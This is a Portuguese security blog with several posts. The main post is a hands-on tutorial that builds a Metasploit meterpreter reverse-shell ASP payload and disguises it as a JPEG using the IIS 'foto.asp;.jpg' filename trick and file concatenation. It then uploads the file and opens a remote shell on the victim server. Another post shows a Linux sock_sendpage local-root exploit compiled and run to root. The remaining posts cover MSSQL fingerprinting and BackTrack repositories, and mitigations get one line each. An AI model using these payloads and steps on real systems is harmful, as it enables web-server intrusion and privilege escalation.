quarta-feira, 13 de janeiro de 2010

Enviando um trojan para o IIS - Upload de arquivos

Há pouco mais de um mês o metasploit, a partir do msfencode, permite geração de scripts ASP contendo um payload metasploit, ou seja, você pode facilmente criar uma página ASP que quando executado pelo navegador irá rodar uma backdoor ou coisa do gênero.

Isso expõe muitas páginas WEB que permitem o upload de fotos, imagens e outros "arquivos seguros". Normalmente as aplicações web que fazem upload verificam o tipo e a extensão do arquivo que será enviado, porém, a análise do IIS é bem trivial.
Um arquivo com o nome foto.asp;.jpg por exemplo, irá passar por uma aplicação como sendo um .JPG, porém, quando o IIS executar sua análise irá parar no .asp e imediamente executar o arquivo.

Qualquer aplicação de upload, com um mínimo de segurança, irá verificar, além da extensão, também o tipo do arquivo, mas, isso pode fácilmente ser burlado com um 'cat'.

Vamos ao exemplo.

Primeiro gere o .ASP contendo o payload desejado.

Windows/Linux:$ msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 R | msfencode -o foto.asp

onde:
 msfpayload/meterpreter/reverse_tcp - Localização do payload desejado. No exemplo foi utilizado o reverse_tcp que abre uma conexão remota reversa no host e porta especificado.
LHOST - Seu endereço ip para a conexão reversa.
LPORT - A porta onde você ficará esperando a conexão reversa.
R | msfencode -o payload.asp - passa o fluxo de dados para o msfencode e gera um arquivo "foto.asp" com o código do payload.

Pronto, seu payload está gerado. Em uma aplicação web que apenas verifique a extensão do arquivo bastaria mudar o nome de "foto.asp" para "foto.asp;.jpg" que seria suficiente para fazer o upload.

Para aplicações que verificam o tipo do arquivo antes de enviar basta usar o cat:

Linux:$ cat foto.jpg payload.asp > "foto.asp;.jpg"


Creio que copy /v /b foto.jpg+payload.asp foto.asp;.jpg funcione no Windows/Dos mas não cheguei a testar. Se alguem conseguir por favor me avise.

Isso irá juntar um arquivo jpg ao seu payload. É possível verificar o tipo do arquivo com:

Linux:$ file foto.asp;.jpg
fts.jpg: JPEG image data, JFIF standard 1.01

Inicie o console do metasploit e coloque sua máquina para "esperar" a conexão reversa.

$ msfconsole
msf> use exploit/multi/handler
msf (handler)> set PAYLOAD windows/meterpreter/reverse_tcp
msf (handler)> set LHOST 127.0.0.1
msf (handler)> set LPORT 3333
msf (handler)> set ExitOnSession false
msf (handler)> exploit -j

[*] Exploit running as background job.
msf exploit(handler) >
[*] Starting the payload handler...
[*] Started reverse handler on port 3333


Agora carregue o arquivo foto.asp;.jpg para o servidor. Verifique que como extensão e type do arquivo indicam que é um jpg a aplicação aceita normalmente o payload e o guarda em um diretório que pode ser acessado pelo navegador. (normalmente /imagens/foto.asp;.jpg). Em alguns testes que fiz a aplicação mudou o nome do arquivo direto para foto.asp. Em outros casos o arquivo foi renomeado para foto.as (nesse caso é só alterar o nome original do payload para 'foto.aspp;.jpg' e fazer o upload novamente).  Se por acaso já tiver uma imagem no servidor com o mesmo nome provavelmente o arquivo será renomeado para 'foto2' ou foto3.
Pronto, agora é só executar o arquivo .asp pelo navegador que você verá algo do tipo no console do metasploit:

[*] Sending stage (723456 bytes)
msf exploit(handler) > [*] Meterpreter session 1 opened (189.26.20.122:3333 -> 201.53.3.20:4768)

Isso significa que a conexão foi estabelecida com sucesso.

depois é só abrir a sessão e chamar o shell.

msf exploit(handler)
> sessions -i 1
[*] Starting interaction with 1...

meterpreter>
shell

Process 2668 created.
Channel 1 created.
wMicrosoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:windowssystem32inetsrv>

###############################
Solução: A maneira mais óbvia de evitar esse tipo de ataque é retirando a permissão de execução nos diretórios de upload. Vale lembrar que com a execução habilitada  vários outros bugs podem ser explorados e não apenas esse do IIS.

Sem mais...

Referências:
http://www.metasploit.org/
http://blog.metasploit.com/
http://blog.rapid7.com/

Giorge Henrique Abdala

Leia Mais…

Lançado Backtrack 4 final

BT4

Depois do beta do ano passado, uma longa espera e o apoio massivo da comunidade, finalmente saiu a versão final do backtrack 4.
Segundo os desenvolvedores, essa versão inclui novo kernel, mais ferramentas, suporte à novos dispositivos e correção de todos os bugs descobertos.


Download: http://www.backtrack-linux.org/downloads/


Giorge Henrique Abdala

Leia Mais…

sábado, 9 de janeiro de 2010

Kernel Linux exploit - Local root

Esse exploit explora uma falha no Sock_sendpage e dá poderes de root para qualquer usuário local. Essa é uma falha, muito grave, que afeta todos os linux kernel 2.4 e 2.6 em todas as arquiteturas desde 2001, é provavelmente uma das maiores falhas já vista no mundo linux.

Já foram produzidos vários exploits para variadas arquiteturas. O exploit que testei foi desenvolvido por um brasileiro (Ramon de Carvalho Valle ramon@risesecurity.org ) e deve funcionar em todos i386 e x86_64.

Download do exploit em: http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c
 
Depois é só compilar com o gcc e executar para virar root imediatamente.

Veja o teste no meu sistema.

 
/exploit$ gcc -Wall -o linux-sendpage linux-sendpage.c
linux-sendpage.c:374:6: aviso: nenhuma linha-nova no fim do arquivo
/exploit$ ./linux-sendpage
sh-3.2# 
 
#######################
Correção: Infelizmente, creio que só compilando o  
kernel com o path atualizado. Se você usa debian,  
ubuntu, ou similares veja em http://kernelsec.cr0.org/ 
 
Referências:
http://kbase.redhat.com/faq/docs/DOC-18042
http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html 
 
 
 
Giorge Henrique Abdala

Leia Mais…

sexta-feira, 8 de janeiro de 2010

Mssqlfp - Microsoft SQL Server Fingerprint Tool

Mssqlfp é uma ferramenta que realiza fingerprints sobre SQL Server 2000, 2005 e 2008, usando técnicas baseadas em diversas ferramentas públicas de identificação do SQL Server. Usa algoritimos probabilísticos para a identificação do serviço MSSQL e pode ser usado para identificar versões vulnerávis do Sql Server.



Segue resultado de um teste que fiz:


Windows:$ mssqlfp-BETA4 -d HOST

MSSQLFP Version 1.00.BETA-4 [Built on Jan 8 2010 20:36:54].

Loading Microsfot SQL Server Fingerprinter Engine [SQLFPENG].
Module SQLFPENG [1.10.0108] loaded

Module SQLFPENG reported: Connection timed out.
Module SQLFPENG failed to perform SQL Server UDP Fingerprint.
Module SQLFPENG found SQL Server TCP Fingerprint Version [8.00.818].
Module SQLFPENG found SQL Server Version [Microsoft SQL 2000 SP3+Q821277/337/818388/826161/821280].
Module SQLFPENG found SQL Server default TCP Communication Port [1433].
Module SQLFPENG succeeded to detect Microsoft SQL Server Version [100%].
Unloading Microsfot SQL Server Fingerprinter Engine [SQLFPENG].
Module SQLFPENG [1.10.0108] unloaded on Wednesday [Jan 13 03:31:42 2010].
Module SQLFPENG succeeded after 01 tentative [Elapsed time: 00:00:00].


No caso a versão achada foi Microsoft SQL 2000 SP3+Q821277/337/818388/826161/821280 rodando na porta padrão (1433).



Download: http://mssqlfp.googlecode.com/files/mssqlfp-BETA4.exe

Giorge Henrique Abdala

Leia Mais…

terça-feira, 25 de novembro de 2008

Repositórios Backtrack

Para quem já utiliza uma distribuição mais amigável, seja via Virtual Box ou Boot, é muito chato ficar trocando de distribuição sempre que quiser usar uma ferramenta de segurança. Pensando nisso fui procurar na net e achei 3 repositórios que resolveram o meu problema.

É só adicionar isso ao seu /etc/apt/sources.list que você podera utilizar qualquer ferramenta do Backtrack 4 em sua sua distribuição preferida.

####BACKTRACK####
deb http://archive.offensive-security.com pwnsauce main microverse macroverse restricted universe multiverse
deb http://archive.offensive-security.com/repotest/ ./ # BackTrack Devel Repository
deb http://repo.offensive-security.com/dist/bt4 binary/

Abraçoss

Giorge Henrique Abdala

Leia Mais…